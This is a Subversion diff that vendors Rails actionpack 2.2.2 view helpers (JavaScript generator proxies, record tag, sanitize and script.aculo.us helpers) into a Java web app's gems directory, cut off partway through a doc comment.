+          # Executes the content of the block after a delay of +seconds+. Example:
+          #
+          #   # Generates:
+          #   #     setTimeout(function() {
+          #   #     ;
+          #   #     new Effect.Fade("notice",{});
+          #   #     }, 20000);
+          #   page.delay(20) do
+          #     page.visual_effect :fade, 'notice'
+          #   end
+          def delay(seconds = 1)
+            record "setTimeout(function() {\n\n"
+            yield
+            record "}, #{(seconds * 1000).to_i})"
+          end
+
+          # Starts a script.aculo.us visual effect. See
+          # ActionView::Helpers::ScriptaculousHelper for more information.
+          def visual_effect(name, id = nil, options = {})
+            record @context.send(:visual_effect, name, id, options)
+          end
+
+          # Creates a script.aculo.us sortable element. Useful
+          # to recreate sortable elements after items get added
+          # or deleted.
+          # See ActionView::Helpers::ScriptaculousHelper for more information.
+          def sortable(id, options = {})
+            record @context.send(:sortable_element_js, id, options)
+          end
+
+          # Creates a script.aculo.us draggable element.
+          # See ActionView::Helpers::ScriptaculousHelper for more information.
+          def draggable(id, options = {})
+            record @context.send(:draggable_element_js, id, options)
+          end
+
+          # Creates a script.aculo.us drop receiving element.
+          # See ActionView::Helpers::ScriptaculousHelper for more information.
+          def drop_receiving(id, options = {})
+            record @context.send(:drop_receiving_element_js, id, options)
+          end
+
+          private
+            def loop_on_multiple_args(method, ids)
+              record(ids.size>1 ?
+                "#{javascript_object_for(ids)}.each(#{method})" :
+                "#{method}(#{ids.first.to_json})")
+            end
+
+            def page
+              self
+            end
+
+            def record(line)
+              returning line = "#{line.to_s.chomp.gsub(/\;\z/, '')};" do
+                self << line
+              end
+            end
+
+            def render(*options_for_render)
+              old_format = @context && @context.template_format
+              @context.template_format = :html if @context
+              Hash === options_for_render.first ?
+                @context.render(*options_for_render) :
+                  options_for_render.first.to_s
+            ensure
+              @context.template_format = old_format if @context
+            end
+
+            def javascript_object_for(object)
+              object.respond_to?(:to_json) ? object.to_json : object.inspect
+            end
+
+            def arguments_for_call(arguments, block = nil)
+              arguments << block_to_function(block) if block
+              arguments.map { |argument| javascript_object_for(argument) }.join ', '
+            end
+
+            def block_to_function(block)
+              generator = self.class.new(@context, &block)
+              literal("function() { #{generator.to_s} }")
+            end
+
+            def method_missing(method, *arguments)
+              JavaScriptProxy.new(self, method.to_s.camelize)
+            end
+        end
+      end
+
+      # Yields a JavaScriptGenerator and returns the generated JavaScript code.
+      # Use this to update multiple elements on a page in an Ajax response.
+      # See JavaScriptGenerator for more information.
+      #
+      # Example:
+      #
+      #   update_page do |page|
+      #     page.hide 'spinner'
+      #   end
+      def update_page(&block)
+        JavaScriptGenerator.new(@template, &block).to_s
+      end
+
+      # Works like update_page but wraps the generated JavaScript in a <script>
+      # tag. Use this to include generated JavaScript in an ERb template.
+      # See JavaScriptGenerator for more information.
+      #
+      # +html_options+ may be a hash of <script> attributes to be passed
+      # to ActionView::Helpers::JavaScriptHelper#javascript_tag.
+      def update_page_tag(html_options = {}, &block)
+        javascript_tag update_page(&block), html_options
+      end
+
+    protected
+      def options_for_ajax(options)
+        js_options = build_callbacks(options)
+
+        js_options['asynchronous'] = options[:type] != :synchronous
+        js_options['method']       = method_option_to_s(options[:method]) if options[:method]
+        js_options['insertion']    = "'#{options[:position].to_s.downcase}'" if options[:position]
+        js_options['evalScripts']  = options[:script].nil? || options[:script]
+
+        if options[:form]
+          js_options['parameters'] = 'Form.serialize(this)'
+        elsif options[:submit]
+          js_options['parameters'] = "Form.serialize('#{options[:submit]}')"
+        elsif options[:with]
+          js_options['parameters'] = options[:with]
+        end
+
+        if protect_against_forgery? && !options[:form]
+          if js_options['parameters']
+            js_options['parameters'] << " + '&"
+          else
+            js_options['parameters'] = "'"
+          end
+          js_options['parameters'] << "#{request_forgery_protection_token}=' + encodeURIComponent('#{escape_javascript form_authenticity_token}')"
+        end
+
+        options_for_javascript(js_options)
+      end
+
+      def method_option_to_s(method)
+        (method.is_a?(String) and !method.index("'").nil?) ? method : "'#{method}'"
+      end
+
+      def build_observer(klass, name, options = {})
+        if options[:with] && (options[:with] !~ /[\{=(.]/)
+          options[:with] = "'#{options[:with]}=' + encodeURIComponent(value)"
+        else
+          options[:with] ||= 'value' unless options[:function]
+        end
+
+        callback = options[:function] || remote_function(options)
+        javascript  = "new #{klass}('#{name}', "
+        javascript << "#{options[:frequency]}, " if options[:frequency]
+        javascript << "function(element, value) {"
+        javascript << "#{callback}}"
+        javascript << ", '#{options[:on]}'" if options[:on]
+        javascript << ")"
+        javascript_tag(javascript)
+      end
+
+      def build_callbacks(options)
+        callbacks = {}
+        options.each do |callback, code|
+          if CALLBACKS.include?(callback)
+            name = 'on' + callback.to_s.capitalize
+            callbacks[name] = "function(request){#{code}}"
+          end
+        end
+        callbacks
+      end
+    end
+
+    # Converts chained method calls on DOM proxy elements into JavaScript chains
+    class JavaScriptProxy < ActiveSupport::BasicObject #:nodoc:
+
+      def initialize(generator, root = nil)
+        @generator = generator
+        @generator << root if root
+      end
+
+      private
+        def method_missing(method, *arguments, &block)
+          if method.to_s =~ /(.*)=$/
+            assign($1, arguments.first)
+          else
+            call("#{method.to_s.camelize(:lower)}", *arguments, &block)
+          end
+        end
+
+        def call(function, *arguments, &block)
+          append_to_function_chain!("#{function}(#{@generator.send(:arguments_for_call, arguments, block)})")
+          self
+        end
+
+        def assign(variable, value)
+          append_to_function_chain!("#{variable} = #{@generator.send(:javascript_object_for, value)}")
+        end
+
+        def function_chain
+          @function_chain ||= @generator.instance_variable_get(:@lines)
+        end
+
+        def append_to_function_chain!(call)
+          function_chain[-1].chomp!(';')
+          function_chain[-1] += ".#{call};"
+        end
+    end
+
+    class JavaScriptElementProxy < JavaScriptProxy #:nodoc:
+      def initialize(generator, id)
+        @id = id
+        super(generator, "$(#{id.to_json})")
+      end
+
+      # Allows access of element attributes through +attribute+. Examples:
+      #
+      #   page['foo']['style']                  # => $('foo').style;
+      #   page['foo']['style']['color']         # => $('blank_slate').style.color;
+      #   page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
+      #   page['foo']['style'].color = 'red'    # => $('blank_slate').style.color = 'red';
+      def [](attribute)
+        append_to_function_chain!(attribute)
+        self
+      end
+
+      def []=(variable, value)
+        assign(variable, value)
+      end
+
+      def replace_html(*options_for_render)
+        call 'update', @generator.send(:render, *options_for_render)
+      end
+
+      def replace(*options_for_render)
+        call 'replace', @generator.send(:render, *options_for_render)
+      end
+
+      def reload(options_for_replace = {})
+        replace(options_for_replace.merge({ :partial => @id.to_s }))
+      end
+
+    end
+
+    class JavaScriptVariableProxy < JavaScriptProxy #:nodoc:
+      def initialize(generator, variable)
+        @variable = variable
+        @empty    = true # only record lines if we have to.  gets rid of unnecessary linebreaks
+        super(generator)
+      end
+
+      # The JSON Encoder calls this to check for the +to_json+ method
+      # Since it's a blank slate object, I suppose it responds to anything.
+      def respond_to?(method)
+        true
+      end
+
+      def to_json(options = nil)
+        @variable
+      end
+
+      private
+        def append_to_function_chain!(call)
+          @generator << @variable if @empty
+          @empty = false
+          super
+        end
+    end
+
+    class JavaScriptCollectionProxy < JavaScriptProxy #:nodoc:
+      ENUMERABLE_METHODS_WITH_RETURN = [:all, :any, :collect, :map, :detect, :find, :find_all, :select, :max, :min, :partition, :reject, :sort_by, :in_groups_of, :each_slice] unless defined? ENUMERABLE_METHODS_WITH_RETURN
+      ENUMERABLE_METHODS = ENUMERABLE_METHODS_WITH_RETURN + [:each] unless defined? ENUMERABLE_METHODS
+      attr_reader :generator
+      delegate :arguments_for_call, :to => :generator
+
+      def initialize(generator, pattern)
+        super(generator, @pattern = pattern)
+      end
+
+      def each_slice(variable, number, &block)
+        if block
+          enumerate :eachSlice, :variable => variable, :method_args => [number], :yield_args => %w(value index), :return => true, &block
+        else
+          add_variable_assignment!(variable)
+          append_enumerable_function!("eachSlice(#{number.to_json});")
+        end
+      end
+
+      def grep(variable, pattern, &block)
+        enumerate :grep, :variable => variable, :return => true, :method_args => [pattern], :yield_args => %w(value index), &block
+      end
+
+      def in_groups_of(variable, number, fill_with = nil)
+        arguments = [number]
+        arguments << fill_with unless fill_with.nil?
+        add_variable_assignment!(variable)
+        append_enumerable_function!("inGroupsOf(#{arguments_for_call arguments});")
+      end
+
+      def inject(variable, memo, &block)
+        enumerate :inject, :variable => variable, :method_args => [memo], :yield_args => %w(memo value index), :return => true, &block
+      end
+
+      def pluck(variable, property)
+        add_variable_assignment!(variable)
+        append_enumerable_function!("pluck(#{property.to_json});")
+      end
+
+      def zip(variable, *arguments, &block)
+        add_variable_assignment!(variable)
+        append_enumerable_function!("zip(#{arguments_for_call arguments}")
+        if block
+          function_chain[-1] += ", function(array) {"
+          yield ::ActiveSupport::JSON::Variable.new('array')
+          add_return_statement!
+          @generator << '});'
+        else
+          function_chain[-1] += ');'
+        end
+      end
+
+      private
+        def method_missing(method, *arguments, &block)
+          if ENUMERABLE_METHODS.include?(method)
+            returnable = ENUMERABLE_METHODS_WITH_RETURN.include?(method)
+            variable   = arguments.first if returnable
+            enumerate(method, {:variable => (arguments.first if returnable), :return => returnable, :yield_args => %w(value index)}, &block)
+          else
+            super
+          end
+        end
+
+        # Options
+        #   * variable - name of the variable to set the result of the enumeration to
+        #   * method_args - array of the javascript enumeration method args that occur before the function
+        #   * yield_args - array of the javascript yield args
+        #   * return - true if the enumeration should return the last statement
+        def enumerate(enumerable, options = {}, &block)
+          options[:method_args] ||= []
+          options[:yield_args]  ||= []
+          yield_args  = options[:yield_args] * ', '
+          method_args = arguments_for_call options[:method_args] # foo, bar, function
+          method_args << ', ' unless method_args.blank?
+          add_variable_assignment!(options[:variable]) if options[:variable]
+          append_enumerable_function!("#{enumerable.to_s.camelize(:lower)}(#{method_args}function(#{yield_args}) {")
+          # only yield as many params as were passed in the block
+          yield(*options[:yield_args].collect { |p| JavaScriptVariableProxy.new(@generator, p) }[0..block.arity-1])
+          add_return_statement! if options[:return]
+          @generator << '});'
+        end
+
+        def add_variable_assignment!(variable)
+          function_chain.push("var #{variable} = #{function_chain.pop}")
+        end
+
+        def add_return_statement!
+          unless function_chain.last =~ /return/
+            function_chain.push("return #{function_chain.pop.chomp(';')};")
+          end
+        end
+
+        def append_enumerable_function!(call)
+          function_chain[-1].chomp!(';')
+          function_chain[-1] += ".#{call}"
+        end
+    end
+
+    class JavaScriptElementCollectionProxy < JavaScriptCollectionProxy #:nodoc:\
+      def initialize(generator, pattern)
+        super(generator, "$$(#{pattern.to_json})")
+      end
+    end
+  end
+end
+
+require 'action_view/helpers/javascript_helper'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/record_identification_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/record_identification_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/record_identification_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+module ActionView
+  module Helpers
+    module RecordIdentificationHelper
+      # See ActionController::RecordIdentifier.partial_path -- this is just a delegate to that for convenient access in the view.
+      def partial_path(*args, &block)
+        ActionController::RecordIdentifier.partial_path(*args, &block)
+      end
+
+      # See ActionController::RecordIdentifier.dom_class -- this is just a delegate to that for convenient access in the view.
+      def dom_class(*args, &block)
+        ActionController::RecordIdentifier.dom_class(*args, &block)
+      end
+
+      # See ActionController::RecordIdentifier.dom_id -- this is just a delegate to that for convenient access in the view.
+      def dom_id(*args, &block)
+        ActionController::RecordIdentifier.dom_id(*args, &block)
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/record_tag_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/record_tag_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/record_tag_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,58 @@
+module ActionView
+  module Helpers
+    module RecordTagHelper
+      # Produces a wrapper DIV element with id and class parameters that
+      # relate to the specified Active Record object. Usage example:
+      #
+      #    <% div_for(@person, :class => "foo") do %>
+      #       <%=h @person.name %>
+      #    <% end %>
+      #
+      # produces:
+      #
+      #    <div id="person_123" class="person foo"> Joe Bloggs </div>
+      #
+      def div_for(record, *args, &block)
+        content_tag_for(:div, record, *args, &block)
+      end
+  
+      # content_tag_for creates an HTML element with id and class parameters
+      # that relate to the specified Active Record object. For example:
+      #
+      #    <% content_tag_for(:tr, @person) do %>
+      #      <td><%=h @person.first_name %></td>
+      #      <td><%=h @person.last_name %></td>
+      #    <% end %>
+      #
+      # would produce the following HTML (assuming @person is an instance of
+      # a Person object, with an id value of 123):
+      #
+      #    <tr id="person_123" class="person">....</tr>
+      #
+      # If you require the HTML id attribute to have a prefix, you can specify it:
+      #
+      #    <% content_tag_for(:tr, @person, :foo) do %> ...
+      #
+      # produces:
+      #    
+      #    <tr id="foo_person_123" class="person">...
+      #
+      # content_tag_for also accepts a hash of options, which will be converted to
+      # additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined
+      # with the default class name for your object. For example:
+      #
+      #    <% content_tag_for(:li, @person, :class => "bar") %>...
+      #
+      # produces:
+      #
+      #    <li id="person_123" class="person bar">...
+      #
+      def content_tag_for(tag_name, record, *args, &block)
+        prefix  = args.first.is_a?(Hash) ? nil : args.shift
+        options = args.extract_options!
+        options.merge!({ :class => "#{dom_class(record)} #{options[:class]}".strip, :id => dom_id(record, prefix) })
+        content_tag(tag_name, options, &block)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/sanitize_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/sanitize_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/sanitize_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,261 @@
+require 'action_view/helpers/tag_helper'
+
+begin
+  require 'html/document'
+rescue LoadError
+  html_scanner_path = "#{File.dirname(__FILE__)}/../../action_controller/vendor/html-scanner"
+  if File.directory?(html_scanner_path)
+    $:.unshift html_scanner_path
+    require 'html/document'
+  end
+end
+
+module ActionView
+  module Helpers #:nodoc:
+    # The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
+    # These helper methods extend ActionView making them callable within your template files.
+    module SanitizeHelper
+      # This +sanitize+ helper will html encode all tags and strip all attributes that aren't specifically allowed.
+      # It also strips href/src tags with invalid protocols, like javascript: especially.  It does its best to counter any
+      # tricks that hackers may use, like throwing in unicode/ascii/hex values to get past the javascript: filters.  Check out
+      # the extensive test suite.
+      #
+      #   <%= sanitize @article.body %>
+      #
+      # You can add or remove tags/attributes if you want to customize it a bit.  See ActionView::Base for full docs on the
+      # available options.  You can add tags/attributes for single uses of +sanitize+ by passing either the <tt>:attributes</tt> or <tt>:tags</tt> options:
+      #
+      # Normal Use
+      #
+      #   <%= sanitize @article.body %>
+      #
+      # Custom Use (only the mentioned tags and attributes are allowed, nothing else)
+      #
+      #   <%= sanitize @article.body, :tags => %w(table tr td), :attributes => %w(id class style)
+      #
+      # Add table tags to the default allowed tags
+      #
+      #   Rails::Initializer.run do |config|
+      #     config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
+      #   end
+      #
+      # Remove tags to the default allowed tags
+      #
+      #   Rails::Initializer.run do |config|
+      #     config.after_initialize do
+      #       ActionView::Base.sanitized_allowed_tags.delete 'div'
+      #     end
+      #   end
+      #
+      # Change allowed default attributes
+      #
+      #   Rails::Initializer.run do |config|
+      #     config.action_view.sanitized_allowed_attributes = 'id', 'class', 'style'
+      #   end
+      #
+      # Please note that sanitizing user-provided text does not guarantee that the
+      # resulting markup is valid (conforming to a document type) or even well-formed.
+      # The output may still contain e.g. unescaped '<', '>', '&' characters and
+      # confuse browsers.
+      #
+      def sanitize(html, options = {})
+        self.class.white_list_sanitizer.sanitize(html, options)
+      end
+
+      # Sanitizes a block of CSS code. Used by +sanitize+ when it comes across a style attribute.
+      def sanitize_css(style)
+        self.class.white_list_sanitizer.sanitize_css(style)
+      end
+
+      # Strips all HTML tags from the +html+, including comments.  This uses the
+      # html-scanner tokenizer and so its HTML parsing ability is limited by
+      # that of html-scanner.
+      #
+      # ==== Examples
+      #
+      #   strip_tags("Strip <i>these</i> tags!")
+      #   # => Strip these tags!
+      #
+      #   strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more here</a>...")
+      #   # => Bold no more!  See more here...
+      #
+      #   strip_tags("<div id='top-bar'>Welcome to my website!</div>")
+      #   # => Welcome to my website!
+      def strip_tags(html)
+        self.class.full_sanitizer.sanitize(html)
+      end
+
+      # Strips all link tags from +text+ leaving just the link text.
+      #
+      # ==== Examples
+      #   strip_links('<a href="http://www.rubyonrails.org">Ruby on Rails</a>')
+      #   # => Ruby on Rails
+      #
+      #   strip_links('Please e-mail me at <a href="mailto:me at email.com">me at email.com</a>.')
+      #   # => Please e-mail me at me at email.com.
+      #
+      #   strip_links('Blog: <a href="http://www.myblog.com/" class="nav" target=\"_blank\">Visit</a>.')
+      #   # => Blog: Visit
+      def strip_links(html)
+        self.class.link_sanitizer.sanitize(html)
+      end
+
+      module ClassMethods #:nodoc:
+        attr_writer :full_sanitizer, :link_sanitizer, :white_list_sanitizer
+
+        def sanitized_protocol_separator
+          white_list_sanitizer.protocol_separator
+        end
+
+        def sanitized_uri_attributes
+          white_list_sanitizer.uri_attributes
+        end
+
+        def sanitized_bad_tags
+          white_list_sanitizer.bad_tags
+        end
+
+        def sanitized_allowed_tags
+          white_list_sanitizer.allowed_tags
+        end
+
+        def sanitized_allowed_attributes
+          white_list_sanitizer.allowed_attributes
+        end
+
+        def sanitized_allowed_css_properties
+          white_list_sanitizer.allowed_css_properties
+        end
+
+        def sanitized_allowed_css_keywords
+          white_list_sanitizer.allowed_css_keywords
+        end
+
+        def sanitized_shorthand_css_properties
+          white_list_sanitizer.shorthand_css_properties
+        end
+
+        def sanitized_allowed_protocols
+          white_list_sanitizer.allowed_protocols
+        end
+
+        def sanitized_protocol_separator=(value)
+          white_list_sanitizer.protocol_separator = value
+        end
+
+        # Gets the HTML::FullSanitizer instance used by +strip_tags+.  Replace with
+        # any object that responds to +sanitize+.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.full_sanitizer = MySpecialSanitizer.new
+        #   end
+        #
+        def full_sanitizer
+          @full_sanitizer ||= HTML::FullSanitizer.new
+        end
+
+        # Gets the HTML::LinkSanitizer instance used by +strip_links+.  Replace with
+        # any object that responds to +sanitize+.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.link_sanitizer = MySpecialSanitizer.new
+        #   end
+        #
+        def link_sanitizer
+          @link_sanitizer ||= HTML::LinkSanitizer.new
+        end
+
+        # Gets the HTML::WhiteListSanitizer instance used by sanitize and +sanitize_css+.
+        # Replace with any object that responds to +sanitize+.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.white_list_sanitizer = MySpecialSanitizer.new
+        #   end
+        #
+        def white_list_sanitizer
+          @white_list_sanitizer ||= HTML::WhiteListSanitizer.new
+        end
+
+        # Adds valid HTML attributes that the +sanitize+ helper checks for URIs.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.sanitized_uri_attributes = 'lowsrc', 'target'
+        #   end
+        #
+        def sanitized_uri_attributes=(attributes)
+          HTML::WhiteListSanitizer.uri_attributes.merge(attributes)
+        end
+
+        # Adds to the Set of 'bad' tags for the +sanitize+ helper.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.sanitized_bad_tags = 'embed', 'object'
+        #   end
+        #
+        def sanitized_bad_tags=(attributes)
+          HTML::WhiteListSanitizer.bad_tags.merge(attributes)
+        end
+
+        # Adds to the Set of allowed tags for the +sanitize+ helper.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
+        #   end
+        #
+        def sanitized_allowed_tags=(attributes)
+          HTML::WhiteListSanitizer.allowed_tags.merge(attributes)
+        end
+
+        # Adds to the Set of allowed HTML attributes for the +sanitize+ helper.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.sanitized_allowed_attributes = 'onclick', 'longdesc'
+        #   end
+        #
+        def sanitized_allowed_attributes=(attributes)
+          HTML::WhiteListSanitizer.allowed_attributes.merge(attributes)
+        end
+
+        # Adds to the Set of allowed CSS properties for the #sanitize and +sanitize_css+ helpers.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.sanitized_allowed_css_properties = 'expression'
+        #   end
+        #
+        def sanitized_allowed_css_properties=(attributes)
+          HTML::WhiteListSanitizer.allowed_css_properties.merge(attributes)
+        end
+
+        # Adds to the Set of allowed CSS keywords for the +sanitize+ and +sanitize_css+ helpers.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.sanitized_allowed_css_keywords = 'expression'
+        #   end
+        #
+        def sanitized_allowed_css_keywords=(attributes)
+          HTML::WhiteListSanitizer.allowed_css_keywords.merge(attributes)
+        end
+
+        # Adds to the Set of allowed shorthand CSS properties for the +sanitize+ and +sanitize_css+ helpers.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.sanitized_shorthand_css_properties = 'expression'
+        #   end
+        #
+        def sanitized_shorthand_css_properties=(attributes)
+          HTML::WhiteListSanitizer.shorthand_css_properties.merge(attributes)
+        end
+
+        # Adds to the Set of allowed protocols for the +sanitize+ helper.
+        #
+        #   Rails::Initializer.run do |config|
+        #     config.action_view.sanitized_allowed_protocols = 'ssh', 'feed'
+        #   end
+        #
+        def sanitized_allowed_protocols=(attributes)
+          HTML::WhiteListSanitizer.allowed_protocols.merge(attributes)
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/scriptaculous_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/scriptaculous_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/scriptaculous_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,225 @@
+require 'action_view/helpers/javascript_helper'
+
+module ActionView
+  module Helpers
+    # Provides a set of helpers for calling Scriptaculous JavaScript 
+    # functions, including those which create Ajax controls and visual effects.
+    #
+    # To be able to use these helpers, you must include the Prototype 
+    # JavaScript framework and the Scriptaculous JavaScript library in your 
+    # pages. See the documentation for ActionView::Helpers::JavaScriptHelper
+    # for more information on including the necessary JavaScript.
+    #
+    # The Scriptaculous helpers' behavior can be tweaked with various options.
+    # See the documentation at http://script.aculo.us for more information on
+    # using these helpers in your application.
+    module ScriptaculousHelper
+      unless const_defined? :TOGGLE_EFFECTS
+        TOGGLE_EFFECTS = [:toggle_appear, :toggle_slide, :toggle_blind]
+      end
+      
+      # Returns a JavaScript snippet to be used on the Ajax callbacks for
+      # starting visual effects.
+      #
+      # Example:
+      #   <%= link_to_remote "Reload", :update => "posts", 
+      #         :url => { :action => "reload" }, 
+      #         :complete => visual_effect(:highlight, "posts", :duration => 0.5)
+      #
+      # If no +element_id+ is given, it assumes "element" which should be a local
+      # variable in the generated JavaScript execution context. This can be 
+      # used for example with +drop_receiving_element+:
+      #
+      #   <%= drop_receiving_element (...), :loading => visual_effect(:fade) %>
+      #
+      # This would fade the element that was dropped on the drop receiving 
+      # element.
+      #
+      # For toggling visual effects, you can use <tt>:toggle_appear</tt>, <tt>:toggle_slide</tt>, and
+      # <tt>:toggle_blind</tt> which will alternate between appear/fade, slidedown/slideup, and
+      # blinddown/blindup respectively.
+      #
+      # You can change the behaviour with various options, see
+      # http://script.aculo.us for more documentation.
+      def visual_effect(name, element_id = false, js_options = {})
+        element = element_id ? element_id.to_json : "element"
+        
+        js_options[:queue] = if js_options[:queue].is_a?(Hash)
+          '{' + js_options[:queue].map {|k, v| k == :limit ? "#{k}:#{v}" : "#{k}:'#{v}'" }.join(',') + '}'
+        elsif js_options[:queue]
+          "'#{js_options[:queue]}'"
+        end if js_options[:queue]
+        
+        [:endcolor, :direction, :startcolor, :scaleMode, :restorecolor].each do |option|
+          js_options[option] = "'#{js_options[option]}'" if js_options[option]
+        end
+
+        if TOGGLE_EFFECTS.include? name.to_sym
+          "Effect.toggle(#{element},'#{name.to_s.gsub(/^toggle_/,'')}',#{options_for_javascript(js_options)});"
+        else
+          "new Effect.#{name.to_s.camelize}(#{element},#{options_for_javascript(js_options)});"
+        end
+      end
+      
+      # Makes the element with the DOM ID specified by +element_id+ sortable
+      # by drag-and-drop and make an Ajax call whenever the sort order has
+      # changed. By default, the action called gets the serialized sortable
+      # element as parameters.
+      #
+      # Example:
+      #
+      #   <%= sortable_element("my_list", :url => { :action => "order" }) %>
+      #
+      # In the example, the action gets a "my_list" array parameter 
+      # containing the values of the ids of elements the sortable consists 
+      # of, in the current order.
+      #
+      # Important: For this to work, the sortable elements must have id
+      # attributes in the form "string_identifier". For example, "item_1". Only
+      # the identifier part of the id attribute will be serialized.
+      # 
+      # Additional +options+ are:
+      #
+      # * <tt>:format</tt> - A regular expression to determine what to send as the
+      #   serialized id to the server (the default is <tt>/^[^_]*_(.*)$/</tt>).
+      #                           
+      # * <tt>:constraint</tt> - Whether to constrain the dragging to either
+      #   <tt>:horizontal</tt> or <tt>:vertical</tt> (or false to make it unconstrained).
+      #                            
+      # * <tt>:overlap</tt> - Calculate the item overlap in the <tt>:horizontal</tt>
+      #   or <tt>:vertical</tt> direction.
+      #                            
+      # * <tt>:tag</tt> - Which children of the container element to treat as
+      #   sortable (default is <tt>li</tt>).
+      #                          
+      # * <tt>:containment</tt> - Takes an element or array of elements to treat as
+      #   potential drop targets (defaults to the original target element).
+      #                          
+      # * <tt>:only</tt> - A CSS class name or array of class names used to filter
+      #   out child elements as candidates.
+      #                          
+      # * <tt>:scroll</tt> - Determines whether to scroll the list during drag
+      #   operations if the list runs past the visual border.
+      #                          
+      # * <tt>:tree</tt> - Determines whether to treat nested lists as part of the
+      #   main sortable list. This means that you can create multi-layer lists,
+      #   and not only sort items at the same level, but drag and sort items
+      #   between levels.
+      #                          
+      # * <tt>:hoverclass</tt> - If set, the Droppable will have this additional CSS class
+      #   when an accepted Draggable is hovered over it.                         
+      #                          
+      # * <tt>:handle</tt> - Sets whether the element should only be draggable by an
+      #   embedded handle. The value may be a string referencing a CSS class value
+      #   (as of script.aculo.us V1.5). The first child/grandchild/etc. element
+      #   found within the element that has this CSS class value will be used as
+      #   the handle.
+      #                          
+      # * <tt>:ghosting</tt> - Clones the element and drags the clone, leaving
+      #   the original in place until the clone is dropped (default is <tt>false</tt>).
+      #                          
+      # * <tt>:dropOnEmpty</tt> - If true the Sortable container will be made into
+      #   a Droppable, that can receive a Draggable (as according to the containment
+      #   rules) as a child element when there are no more elements inside (default
+      #   is <tt>false</tt>).
+      #                          
+      # * <tt>:onChange</tt> - Called whenever the sort order changes while dragging. When
+      #   dragging from one Sortable to another, the callback is called once on each
+      #   Sortable. Gets the affected element as its parameter.
+      #                          
+      # * <tt>:onUpdate</tt> - Called when the drag ends and the Sortable's order is
+      #   changed in any way. When dragging from one Sortable to another, the callback
+      #   is called once on each Sortable. Gets the container as its parameter.
+      #                                                                                         
+      # See http://script.aculo.us for more documentation.
+      def sortable_element(element_id, options = {})
+        javascript_tag(sortable_element_js(element_id, options).chop!)
+      end
+      
+      def sortable_element_js(element_id, options = {}) #:nodoc:
+        options[:with]     ||= "Sortable.serialize(#{element_id.to_json})"
+        options[:onUpdate] ||= "function(){" + remote_function(options) + "}"
+        options.delete_if { |key, value| PrototypeHelper::AJAX_OPTIONS.include?(key) }
+  
+        [:tag, :overlap, :constraint, :handle].each do |option|
+          options[option] = "'#{options[option]}'" if options[option]
+        end
+  
+        options[:containment] = array_or_string_for_javascript(options[:containment]) if options[:containment]
+        options[:only] = array_or_string_for_javascript(options[:only]) if options[:only]
+  
+        %(Sortable.create(#{element_id.to_json}, #{options_for_javascript(options)});)
+      end
+
+      # Makes the element with the DOM ID specified by +element_id+ draggable.
+      #
+      # Example:
+      #   <%= draggable_element("my_image", :revert => true)
+      # 
+      # You can change the behaviour with various options, see
+      # http://script.aculo.us for more documentation.
+      def draggable_element(element_id, options = {})
+        javascript_tag(draggable_element_js(element_id, options).chop!)
+      end
+      
+      def draggable_element_js(element_id, options = {}) #:nodoc:
+        %(new Draggable(#{element_id.to_json}, #{options_for_javascript(options)});)
+      end
+
+      # Makes the element with the DOM ID specified by +element_id+ receive
+      # dropped draggable elements (created by +draggable_element+).
+      # and make an AJAX call. By default, the action called gets the DOM ID 
+      # of the element as parameter.
+      #
+      # Example:
+      #   <%= drop_receiving_element("my_cart", :url => 
+      #     { :controller => "cart", :action => "add" }) %>
+      #
+      # You can change the behaviour with various options, see
+      # http://script.aculo.us for more documentation.
+      #
+      # Some of these +options+ include:
+      # * <tt>:accept</tt> - Set this to a string or an array of strings describing the
+      #   allowable CSS classes that the +draggable_element+ must have in order 
+      #   to be accepted by this +drop_receiving_element+.
+      #                          
+      # * <tt>:confirm</tt> - Adds a confirmation dialog. Example:
+      #                     
+      #     :confirm => "Are you sure you want to do this?"
+      #                          
+      # * <tt>:hoverclass</tt> - If set, the +drop_receiving_element+ will have
